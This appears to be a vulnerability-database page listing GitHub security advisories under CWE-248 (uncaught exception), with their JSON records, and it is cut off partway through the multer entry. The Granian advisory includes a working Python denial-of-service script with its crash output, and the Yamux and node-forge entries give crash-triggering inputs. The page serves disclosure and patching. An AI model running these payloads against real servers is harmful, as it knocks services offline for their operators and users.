CWE-248
AllowedUncaught Exception
Abstraction: Base · Status: Draft
An exception is thrown from a function, but it is not caught.
745 vulnerabilities reference this CWE, most recent first.
GHSA-VQR4-494J-QF85
Vulnerability from github – Published: 2026-10-05 21:31 – Updated: 2026-10-05 21:31In multiple places, there is a possible denial of service due to an uncaught exception. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2026-58859"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-05T19:17:25Z",
"severity": "HIGH"
},
"details": "In multiple places, there is a possible denial of service due to an uncaught exception. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-vqr4-494j-qf85",
"modified": "2026-10-05T21:31:35Z",
"published": "2026-10-05T21:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58859"
},
{
"type": "WEB",
"url": "https://source.android.com/docs/security/bulletin/2026/2026-10-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VRG7-482J-P6F6
Vulnerability from github – Published: 2026-05-06 21:20 – Updated: 2026-05-13 16:41Summary
Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.
The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.
This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.
Details
https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125
HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.
In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.
PoC
Step 1.
starts a Granian ASGI server
# app.py
async def app(scope, receive, send):
if scope["type"] == "websocket":
await receive()
await send({"type": "websocket.accept"})
return
await send({"type": "http.response.start", "status": 200, "headers": []})
await send({"type": "http.response.body", "body": b"ok"})
granian --interface asgi app:app --host 127.0.0.1 --port 8000
Step 2.
sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.
# ws-subproto-crash.py
import base64, os, socket, sys
host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()
req = (
f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
"Upgrade: websocket\r\nConnection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"
with socket.create_connection((host, port), timeout=5) as s:
s.sendall(req)
print(s.recv(4096))
python ws-subproto-crash.py 127.0.0.1 8000 /
Observed server output:
thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian
Impact
- Unauthenticated remote denial of service
- One crafted request kills one worker
- The application is never reached, so application-level authentication or routing does not mitigate the issue
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "granian"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.0"
},
{
"fixed": "2.7.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42544"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-248",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T21:20:48Z",
"nvd_published_at": "2026-05-12T22:16:34Z",
"severity": "HIGH"
},
"details": "### Summary\n\nGranian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose `Sec-WebSocket-Protocol` header contains non-ASCII bytes.\n\nThe crash happens in Granian\u0027s WebSocket scope construction path, before the ASGI application is invoked.\n\nThis is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.\n\n### Details\n\nhttps://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125\n\n`HeaderValue::to_str()` returns `Err` for bytes outside visible ASCII. The subsequent `.unwrap()` panics.\n\nIn release builds Granian sets `panic = \"abort\"`, so this panic terminates the worker instead of being handled as a normal request error.\n\n\n### PoC\n\n#### Step 1.\nstarts a Granian ASGI server\n\n```python\n# app.py\nasync def app(scope, receive, send):\n if scope[\"type\"] == \"websocket\":\n await receive()\n await send({\"type\": \"websocket.accept\"})\n return\n\n await send({\"type\": \"http.response.start\", \"status\": 200, \"headers\": []})\n await send({\"type\": \"http.response.body\", \"body\": b\"ok\"})\n```\n\n```bash\ngranian --interface asgi app:app --host 127.0.0.1 --port 8000\n```\n\n#### Step 2.\nsending a raw upgrade request with `Sec-WebSocket-Protocol: \\x80\\xff` reached this code path and caused the worker to abort.\n\n```python\n# ws-subproto-crash.py\nimport base64, os, socket, sys\n\nhost, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]\nkey = base64.b64encode(os.urandom(16)).decode()\n\nreq = (\n f\"GET {path} HTTP/1.1\\r\\nHost: {host}:{port}\\r\\n\"\n \"Upgrade: websocket\\r\\nConnection: Upgrade\\r\\n\"\n f\"Sec-WebSocket-Key: {key}\\r\\nSec-WebSocket-Version: 13\\r\\n\"\n).encode() + b\"Sec-WebSocket-Protocol: \\x80\\xff\\r\\n\\r\\n\"\n\nwith socket.create_connection((host, port), timeout=5) as s:\n s.sendall(req)\n print(s.recv(4096))\n```\n```bash\npython ws-subproto-crash.py 127.0.0.1 8000 /\n```\n\n\nObserved server output:\n\n```\nthread \u0027\u003cunnamed\u003e\u0027 panicked at src/asgi/utils.rs:125:44:\ncalled `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }\n[ERROR] Unexpected exit from worker-1\n[INFO] Shutting down granian\n```\n\n\n### Impact\n\n- Unauthenticated remote denial of service\n- One crafted request kills one worker\n- The application is never reached, so application-level authentication or routing does not mitigate the issue",
"id": "GHSA-vrg7-482j-p6f6",
"modified": "2026-05-13T16:41:24Z",
"published": "2026-05-06T21:20:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/emmett-framework/granian/security/advisories/GHSA-vrg7-482j-p6f6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42544"
},
{
"type": "PACKAGE",
"url": "https://github.com/emmett-framework/granian"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Granian vulnerable to unauthenticated DoS via WebSocket subprotocol header panic"
}
GHSA-VVVH-6236-74PM
Vulnerability from github – Published: 2026-09-25 09:31 – Updated: 2026-09-25 18:31Improper handling of property-encoding exceptions in AMQP 1.0-to-AMQP 0-10 message conversion allows authenticated message producers to disrupt delivery to AMQP 0-10 consumers via message properties that the target encoder does not handle correctly.
This issue affects Apache Qpid Broker-J: through 10.1.0.
Users are recommended to upgrade to version 10.1.1, which fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2026-92608"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-25T08:16:41Z",
"severity": "HIGH"
},
"details": "Improper handling of property-encoding exceptions in AMQP 1.0-to-AMQP 0-10 message conversion allows authenticated message producers to disrupt delivery to AMQP 0-10 consumers via message properties that the target encoder does not handle correctly.\n\nThis issue affects Apache Qpid Broker-J: through 10.1.0.\n\nUsers are recommended to upgrade to version 10.1.1, which fixes the issue.",
"id": "GHSA-vvvh-6236-74pm",
"modified": "2026-09-25T18:31:21Z",
"published": "2026-09-25T09:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92608"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/rklst4cz1g0nkpzkpho7kjmy4gnx1ppc"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/09/24/16"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VXX9-2994-Q338
Vulnerability from github – Published: 2026-03-13 20:04 – Updated: 2026-03-16 22:01Summary
The Rust implementation of Yamux can panic when processing a crafted inbound Data frame that sets SYN and uses a body length greater than DEFAULT_CREDIT (e.g. 262145). On the first packet of a new inbound stream, stream state is created and a receiver is queued before oversized-body validation completes. When validation fails, the temporary stream is dropped and cleanup may call remove(...).expect("stream not found"), triggering a panic in the connection state machine. This is remotely reachable over a normal Yamux session and does not require authentication. kind of vulnerability is it? Who is
Attack Scenario
An attacker that can establish a Yamux session with a target node can crash the target by sending a single validly encoded Yamux Data|SYN frame with an oversized body: 1. Establish a standard authenticated transport session that negotiates Yamux. 2. Send one Yamux frame with: - Tag = Data - Flags = SYN - StreamId = 1 (or any new inbound stream id) - Length = DEFAULT_CREDIT + 1 (e.g. 262145) - Body of matching size This can trigger a panic (stream not found) and terminate the process, depending on host application panic policy.
Patches
Users should upgrade to yamux v0.13.10
This vulnerability was originally submitted by @revofusion to the Ethereum Foundation bug bounty program
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "yamux"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.13.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32314"
],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-617"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T20:04:38Z",
"nvd_published_at": "2026-03-16T14:19:34Z",
"severity": "HIGH"
},
"details": "### Summary\nThe Rust implementation of Yamux can panic when processing a crafted inbound Data frame that sets SYN and uses a body length greater than DEFAULT_CREDIT (e.g. 262145).\nOn the first packet of a new inbound stream, stream state is created and a receiver is queued before oversized-body validation completes. When validation fails, the temporary stream is dropped and cleanup may call remove(...).expect(\"stream not found\"), triggering a panic in the connection state machine.\nThis is remotely reachable over a normal Yamux session and does not require authentication. kind of vulnerability is it? Who is \n#### Attack Scenario \nAn attacker that can establish a Yamux session with a target node can crash the target by sending a single validly encoded Yamux Data|SYN frame with an oversized body:\n1. Establish a standard authenticated transport session that negotiates Yamux.\n2. Send one Yamux frame with:\n - Tag = Data\n - Flags = SYN\n - StreamId = 1 (or any new inbound stream id)\n - Length = DEFAULT_CREDIT + 1 (e.g. 262145)\n - Body of matching size\nThis can trigger a panic (stream not found) and terminate the process, depending on host application panic policy.\n### Patches\nUsers should upgrade to `yamux` `v0.13.10`\n\nThis vulnerability was originally submitted by @revofusion to the Ethereum Foundation bug bounty program",
"id": "GHSA-vxx9-2994-q338",
"modified": "2026-03-16T22:01:11Z",
"published": "2026-03-13T20:04:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/libp2p/rust-yamux/security/advisories/GHSA-vxx9-2994-q338"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32314"
},
{
"type": "PACKAGE",
"url": "https://github.com/libp2p/rust-yamux"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Yamux vulnerable to remote Panic via malformed Data frame with SYN set and len = 262145"
}
GHSA-W2PG-HW7V-F7M9
Vulnerability from github – Published: 2026-01-20 21:31 – Updated: 2026-06-30 03:35A malformed HTTP/2 HEADERS frame with oversized, invalid HPACK data can cause Node.js to crash by triggering an unhandled TLSSocket error ECONNRESET. Instead of safely closing the connection, the process crashes, enabling a remote denial of service. This primarily affects applications that do not attach explicit error handlers to secure sockets, for example:
server.on('secureConnection', socket => {
socket.on('error', err => {
console.log(err)
})
})
{
"affected": [],
"aliases": [
"CVE-2025-59465"
],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-20T21:16:04Z",
"severity": "HIGH"
},
"details": "A malformed `HTTP/2 HEADERS` frame with oversized, invalid `HPACK` data can cause Node.js to crash by triggering an unhandled `TLSSocket` error `ECONNRESET`. Instead of safely closing the connection, the process crashes, enabling a remote denial of service. This primarily affects applications that do not attach explicit error handlers to secure sockets, for example:\n```\nserver.on(\u0027secureConnection\u0027, socket =\u003e {\n socket.on(\u0027error\u0027, err =\u003e {\n console.log(err)\n })\n})\n```",
"id": "GHSA-w2pg-hw7v-f7m9",
"modified": "2026-06-30T03:35:27Z",
"published": "2026-01-20T21:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59465"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-59465.json"
},
{
"type": "WEB",
"url": "https://nodejs.org/en/blog/vulnerability/december-2025-security-releases"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2431349"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-59465"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:7387"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:7386"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:6431"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:6402"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:2899"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:2864"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:2783"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:2782"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:2781"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:2768"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:2767"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:2422"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:2421"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:2420"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:1843"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:1842"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W4XR-HQV8-CH44
Vulnerability from github – Published: 2026-11-10 21:17 – Updated: 2026-11-10 21:17Summary
A forge.tls client accepts any compression method in the ServerHello, although it only offers no compression. An unknown method makes connection.process() throw an uncaught Error when the client handles ServerHelloDone, before the server is authenticated. A malicious server or an on-path attacker can use this to terminate a Node.js process. Fixed in node-forge 1.4.3.
Details
The client's ClientHello offers only the null compression method. tls.parseHelloMessage() in lib/tls.js stores the ServerHello's compression_method for the client without checking it (the code has a TODO: handle compression methods). When the client handles ServerHelloDone it calls tls.createConnectionState(), which throws Error('Unsupported compression algorithm.') for any method other than null (0) and deflate (1). The exception propagates out of connection.process().
The ServerHello isn't authenticated until the server's Finished message, so an on-path attacker can change the compression byte of a genuine ServerHello; the certificate chain still verifies. Applications that pass socket data to process() without catching exceptions terminate. This includes forge.tls.wrapSocket, which calls process() from its socket data handler, and forge.http, which uses it. A deflate (1) method, also never offered, makes the handshake fail later with an error instead of a crash.
Servers are not affected: a server always selects no compression.
The fix fails the handshake with an illegal_parameter alert, through the connection's error callback, when the ServerHello selects any compression method other than null.
Patches
Fixed in node-forge 1.4.3.
Workarounds
Catch exceptions thrown by connection.process() and close the socket.
Resources
- RFC 5246, section 7.4.1.3 (Server Hello): https://www.rfc-editor.org/rfc/rfc5246#section-7.4.1.3
- Related: GHSA-525v-9gp9-w22h (another TLS client crash during the handshake, fixed in 1.4.1): https://github.com/digitalbazaar/forge/security/advisories/GHSA-525v-9gp9-w22h
Severity
CVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H (5.9, Moderate) CVSS 4.0 (informational): CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (8.2) CVSS 4.0 has no counterpart to 3.1's AC:H beyond AT:P and scores this higher; the severity rating follows CVSS 3.1.
Credits
Reported by @alienkeric.
Proof of concept
A server (or on-path attacker) sends a ServerHello with compression_method 0xff, followed by a valid Certificate and ServerHelloDone:
client.handshake();
client.process(serverHello + certificate + serverHelloDone);
// <= 1.4.2: throws Error: Unsupported compression algorithm.
// 1.4.3: error callback with "Unsupported compression method."
The reporter's PoC (a CA-issued server certificate and the default verify callback) is in tests/pocs/ghsa-w4xr-hqv8-ch44.js, and regression tests are in tests/unit/tls.js.
Impact
Applications that use forge.tls as a client (directly, through forge.tls.wrapSocket, or through forge.http) and pass data from a network socket to connection.process() are affected. The server they connect to, or an on-path attacker, can make process() throw before the server is authenticated; if the application doesn't catch it, the Node.js process terminates, dropping all its connections. Servers built on forge.tls are not affected. There is no confidentiality or integrity impact.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.4.2"
},
"package": {
"ecosystem": "npm",
"name": "node-forge"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-125332"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-10T21:17:14Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nA `forge.tls` client accepts any compression method in the ServerHello, although it only offers no compression. An unknown method makes `connection.process()` throw an uncaught `Error` when the client handles ServerHelloDone, before the server is authenticated. A malicious server or an on-path attacker can use this to terminate a Node.js process. Fixed in node-forge 1.4.3.\n\n### Details\nThe client\u0027s ClientHello offers only the `null` compression method. `tls.parseHelloMessage()` in `lib/tls.js` stores the ServerHello\u0027s `compression_method` for the client without checking it (the code has a `TODO: handle compression methods`). When the client handles ServerHelloDone it calls `tls.createConnectionState()`, which throws `Error(\u0027Unsupported compression algorithm.\u0027)` for any method other than `null` (0) and `deflate` (1). The exception propagates out of `connection.process()`.\n\nThe ServerHello isn\u0027t authenticated until the server\u0027s Finished message, so an on-path attacker can change the compression byte of a genuine ServerHello; the certificate chain still verifies. Applications that pass socket data to `process()` without catching exceptions terminate. This includes `forge.tls.wrapSocket`, which calls `process()` from its socket data handler, and `forge.http`, which uses it. A `deflate` (1) method, also never offered, makes the handshake fail later with an error instead of a crash.\n\nServers are not affected: a server always selects no compression.\n\nThe fix fails the handshake with an `illegal_parameter` alert, through the connection\u0027s `error` callback, when the ServerHello selects any compression method other than `null`.\n\n#### Patches\nFixed in node-forge 1.4.3.\n\n#### Workarounds\nCatch exceptions thrown by `connection.process()` and close the socket.\n\n#### Resources\n- RFC 5246, section 7.4.1.3 (Server Hello): https://www.rfc-editor.org/rfc/rfc5246#section-7.4.1.3\n- Related: GHSA-525v-9gp9-w22h (another TLS client crash during the handshake, fixed in 1.4.1): https://github.com/digitalbazaar/forge/security/advisories/GHSA-525v-9gp9-w22h\n\n#### Severity\nCVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H (5.9, Moderate)\nCVSS 4.0 (informational): CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (8.2)\nCVSS 4.0 has no counterpart to 3.1\u0027s AC:H beyond AT:P and scores this higher; the severity rating follows CVSS 3.1.\n\n#### Credits\nReported by @alienkeric.\n\n### Proof of concept\nA server (or on-path attacker) sends a ServerHello with `compression_method` 0xff, followed by a valid Certificate and ServerHelloDone:\n\n client.handshake();\n client.process(serverHello + certificate + serverHelloDone);\n // \u003c= 1.4.2: throws Error: Unsupported compression algorithm.\n // 1.4.3: error callback with \"Unsupported compression method.\"\n\nThe reporter\u0027s PoC (a CA-issued server certificate and the default verify callback) is in tests/pocs/ghsa-w4xr-hqv8-ch44.js, and regression tests are in tests/unit/tls.js.\n\n### Impact\nApplications that use `forge.tls` as a client (directly, through `forge.tls.wrapSocket`, or through `forge.http`) and pass data from a network socket to `connection.process()` are affected. The server they connect to, or an on-path attacker, can make `process()` throw before the server is authenticated; if the application doesn\u0027t catch it, the Node.js process terminates, dropping all its connections. Servers built on `forge.tls` are not affected. There is no confidentiality or integrity impact.",
"id": "GHSA-w4xr-hqv8-ch44",
"modified": "2026-11-10T21:17:14Z",
"published": "2026-11-10T21:17:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-w4xr-hqv8-ch44"
},
{
"type": "WEB",
"url": "https://github.com/digitalbazaar/forge/pull/1169"
},
{
"type": "WEB",
"url": "https://github.com/digitalbazaar/forge/commit/1d9816d333c23c523ef2bd8b24282c87db2654ef"
},
{
"type": "PACKAGE",
"url": "https://github.com/digitalbazaar/forge"
},
{
"type": "WEB",
"url": "https://github.com/digitalbazaar/forge/releases/tag/v1.4.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Forge: TLS client crash on an unsupported ServerHello compression method"
}
GHSA-W834-CF6P-9M9W
Vulnerability from github – Published: 2026-07-02 19:44 – Updated: 2026-07-02 19:44Am I affected
You are affected if:
- You run
zebradup to and includingv4.4.1. - Your node processes blocks on any Zcash network.
Summary
The finalized transparent address balance writer processes all newly-created outputs (credits) before processing spent outputs (debits) within the same block. A consensus-valid block containing a long chain of same-address transparent self-spends can cause the intermediate per-address balance during the credit pass to exceed MAX_MONEY, triggering a panic in the finalized state writer.
Because the triggering block is consensus-valid (zcashd accepts it), the panic recurs on restart when the node re-encounters the same block. This creates a persistent chain halt that can only be resolved by a software patch.
Details
The finalized state writer at zebra-state/src/service/finalized_state/zebra_db/transparent.rs iterates all transaction outputs in a block and credits them to per-address balances before iterating inputs and debiting spent outputs. When a block contains many transparent self-spends to the same address, the intermediate credit-only balance can exceed the MAX_MONEY supply cap even though the final net balance (credits minus debits) is valid.
The code panics on the intermediate overflow via .expect() on the balance addition. Under Zebra's panic = "abort" release profile, this terminates the process. On restart, the node re-downloads and re-processes the same consensus-valid block, triggering the same panic.
An attacker with approximately 1,100–2,100 ZEC and mining capability can construct a block that permanently halts all Zebra nodes. The attacker recovers their capital (the self-spends return funds to the same address), so the net cost is the mining effort only.
Patches
Patched in Zebra 4.4.2. The fix processes credits and debits together per transaction rather than all credits then all debits, matching zcashd's approach.
Workarounds
No workaround is available. Upgrade to Zebra 4.4.2.
Impact
A single consensus-valid mined block can permanently halt all Zebra nodes on the network. The halt persists across restarts. Recovery requires deploying a patched version. Downstream consumers (light wallets, exchanges, mining infrastructure) lose service for the duration of the halt.
Credit
Reported by @sangsoo-osec.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.0.0"
},
"package": {
"ecosystem": "crates.io",
"name": "zebra-state"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.4.1"
},
"package": {
"ecosystem": "crates.io",
"name": "zebrad"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52738"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T19:44:54Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Am I affected\n\nYou are affected if:\n\n1. You run `zebrad` up to and including `v4.4.1`.\n2. Your node processes blocks on any Zcash network.\n\n### Summary\n\nThe finalized transparent address balance writer processes all newly-created outputs (credits) before processing spent outputs (debits) within the same block. A consensus-valid block containing a long chain of same-address transparent self-spends can cause the intermediate per-address balance during the credit pass to exceed `MAX_MONEY`, triggering a panic in the finalized state writer.\n\nBecause the triggering block is consensus-valid (zcashd accepts it), the panic recurs on restart when the node re-encounters the same block. This creates a persistent chain halt that can only be resolved by a software patch.\n\n### Details\n\nThe finalized state writer at `zebra-state/src/service/finalized_state/zebra_db/transparent.rs` iterates all transaction outputs in a block and credits them to per-address balances before iterating inputs and debiting spent outputs. When a block contains many transparent self-spends to the same address, the intermediate credit-only balance can exceed the `MAX_MONEY` supply cap even though the final net balance (credits minus debits) is valid.\n\nThe code panics on the intermediate overflow via `.expect()` on the balance addition. Under Zebra\u0027s `panic = \"abort\"` release profile, this terminates the process. On restart, the node re-downloads and re-processes the same consensus-valid block, triggering the same panic.\n\nAn attacker with approximately 1,100\u20132,100 ZEC and mining capability can construct a block that permanently halts all Zebra nodes. The attacker recovers their capital (the self-spends return funds to the same address), so the net cost is the mining effort only.\n\n### Patches\n\nPatched in Zebra 4.4.2. The fix processes credits and debits together per transaction rather than all credits then all debits, matching zcashd\u0027s approach.\n\n### Workarounds\n\nNo workaround is available. Upgrade to Zebra 4.4.2.\n\n### Impact\n\nA single consensus-valid mined block can permanently halt all Zebra nodes on the network. The halt persists across restarts. Recovery requires deploying a patched version. Downstream consumers (light wallets, exchanges, mining infrastructure) lose service for the duration of the halt.\n\n### Credit\n\nReported by `@sangsoo-osec`.",
"id": "GHSA-w834-cf6p-9m9w",
"modified": "2026-07-02T19:44:54Z",
"published": "2026-07-02T19:44:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-w834-cf6p-9m9w"
},
{
"type": "PACKAGE",
"url": "https://github.com/ZcashFoundation/zebra"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Zebra: Finalized address balance credit-first overflow on consensus-valid blocks"
}
GHSA-W87H-5V33-3C9X
Vulnerability from github – Published: 2025-12-02 03:31 – Updated: 2025-12-02 15:30In Modem, there is a possible system crash due to an uncaught exception. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01673755; Issue ID: MSV-4647.
{
"affected": [],
"aliases": [
"CVE-2025-20758"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-02T03:16:17Z",
"severity": "MODERATE"
},
"details": "In Modem, there is a possible system crash due to an uncaught exception. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01673755; Issue ID: MSV-4647.",
"id": "GHSA-w87h-5v33-3c9x",
"modified": "2025-12-02T15:30:30Z",
"published": "2025-12-02T03:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20758"
},
{
"type": "WEB",
"url": "https://corp.mediatek.com/product-security-bulletin/December-2025"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WC9G-MQFW-JRWM
Vulnerability from github – Published: 2026-09-08 21:30 – Updated: 2026-09-08 21:30Impact
A vulnerability in multer allows a remote, unauthenticated attacker to crash the Node.js process with a single multipart/form-data request. Two specially crafted text field names cause an uncaught RangeError: Invalid array length inside multer's field parsing, which is not routed to the application error handler and terminates the process. All applications using multer to parse multipart requests are affected.
Patches
Users should upgrade to 2.3.0.
Workarounds
None.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "multer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77078"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T21:30:20Z",
"nvd_published_at": "2026-08-28T22:16:53Z",
"severity": "HIGH"
},
"details": "### Impact\n\nA vulnerability in multer allows a remote, unauthenticated attacker to crash the Node.js process with a single `multipart/form-data` request. Two specially crafted text field names cause an uncaught `RangeError: Invalid array length` inside multer\u0027s field parsing, which is not routed to the application error handler and terminates the process. All applications using multer to parse multipart requests are affected.\n\n### Patches\n\nUsers should upgrade to `2.3.0`.\n\n### Workarounds\n\nNone.",
"id": "GHSA-wc9g-mqfw-jrwm",
"modified": "2026-09-08T21:30:21Z",
"published": "2026-09-08T21:30:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/expressjs/multer/security/advisories/GHSA-wc9g-mqfw-jrwm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77078"
},
{
"type": "WEB",
"url": "https://github.com/expressjs/multer/commit/87a584e8c8d4da873292635fa1d8c4d78d985b76"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
